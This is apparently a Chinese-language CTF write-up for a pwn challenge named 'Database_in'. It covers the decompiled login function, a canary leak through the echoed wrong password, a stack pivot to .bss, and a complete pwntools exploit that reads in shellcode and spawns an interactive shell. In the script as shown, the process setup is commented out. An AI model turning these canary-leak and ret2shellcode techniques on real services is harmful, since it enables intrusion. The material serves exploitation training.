# Database_in
# 题目分析:
在 login 的时候存在简单的栈溢出,这里我开启了 canary 保护,关闭了 pie 保护以及 nx 保护。所以所以可以使用 ret2shellcode 攻击。
程序在读取 password 的时候,明显的溢出了,因为这里自定义的 readn 函数,我是允许提前结束,并且结尾不会追加 '\x00',而且,但当尝试登陆管理员账号的时候,如果密码错误,会回显错误的密码,而且使用的是格式化字符串 “% s” 那么,溢出覆盖 canary 的低字节,然后报错输出,就泄露了 canary,然后第二次输入的时候,把 canary 带上。
__int64 sub_400AD8() | |
{ | |
int fd; // [rsp+Ch] [rbp-44h] | |
__int64 s[2]; // [rsp+10h] [rbp-40h] BYREF | |
char buf[16]; // [rsp+20h] [rbp-30h] BYREF | |
char s1[8]; // [rsp+30h] [rbp-20h] BYREF | |
__int64 v5; // [rsp+38h] [rbp-18h] | |
unsigned __int64 v6; // [rsp+48h] [rbp-8h] | |
v6 = __readfsqword(0x28u); | |
memset(s, 0, sizeof(s)); | |
memset(buf, 0, sizeof(buf)); | |
memset(s1, 0, 0x10uLL); | |
fd = open("/dev/urandom", 0); | |
if ( fd <= 0 ) | |
{ | |
puts("open error!there is no such file!"); | |
_exit(0); | |
} | |
if ( read(fd, buf, 0x10uLL) <= 0 ) | |
{ | |
puts("Initialization error. Please check the equipment environment."); | |
_exit(0); | |
} | |
memset(s, 0, sizeof(s)); | |
memset(s1, 0, 0x10uLL); | |
puts("please login first!"); | |
printf("name: "); | |
sub_400A3D(s, 16LL); | |
printf("password: "); | |
sub_400A3D(s1, 64LL); // 栈溢出点 | |
if ( !strcmp((const char *)s, "cat_loves_her") ) | |
{ | |
if ( !strcmp(s1, buf) ) | |
{ | |
dword_6022CC = 1; | |
} | |
else | |
{ | |
printf("the password %s is wrong!You can try again !", s1); | |
printf("password: "); | |
sub_400A3D(s1, 64LL); // 栈溢出点 | |
} | |
} | |
dword_6022D0 = 1; | |
qword_6022E0 = s[0]; | |
qword_6022E8 = s[1]; | |
qword_6022F0 = *(_QWORD *)s1; | |
qword_6022F8 = v5; | |
printf("%s,welcome to dreamcat's easy Databasesystem!\n", (const char *)s); | |
puts("here you will learn how to play ctfpwn!"); | |
return 0LL; | |
} |
然后我们看溢出,我们最多向 rbp 的后面溢出 0x18 字节,所以这里需要使用栈迁移。
将栈迁移到 bss 段上,然后将控制程序再次返回读取密码的地方,这次我们向 bss 上的一次地方写入 0x40 字节的数据,但是因为 canary 的捣乱,我们需要在前 0x18 字节部署一下 read (), 让我们将 shellcode 正常的的读取进来。这里的一个小技巧是将 shellcode 读到后面一点的地址,然后在 syscall 的后面加一个 call 指令跳转过去。就可以避开 rsp 的影响。
# exp
from pwn import * | |
#r =process('./database_in') | |
context.arch = "amd64" | |
#gdb.attach(r,'b *0x0400C15') | |
bss = 0x602800 | |
r.sendlineafter("name",b"cat_loves_her") | |
r.sendlineafter("password",b'X'*0x19) | |
r.recvuntil(b"X"*0x18) | |
canary = u64(r.recv(8))-0x58 | |
info("canary:"+hex(canary)) | |
pad = b'a'*0x18+p64(canary)+p64(bss)+p64(0x400C7D) | |
r.sendlineafter("password",pad) | |
shellcode =asm(''' | |
mov rdi,0 | |
mov rsi,0x602850 | |
xor rax,rax | |
syscall | |
''')+b'\xe8\x58' | |
#0x6027e0 | |
pad = shellcode.ljust(0x18,b'\x00')+p64(canary)+p64(bss+0x80)+p64(0x6027e0) | |
pause(1) | |
r.sendline(pad) | |
pause(1) | |
r.sendline(asm(shellcraft.sh())) | |
r.interactive() |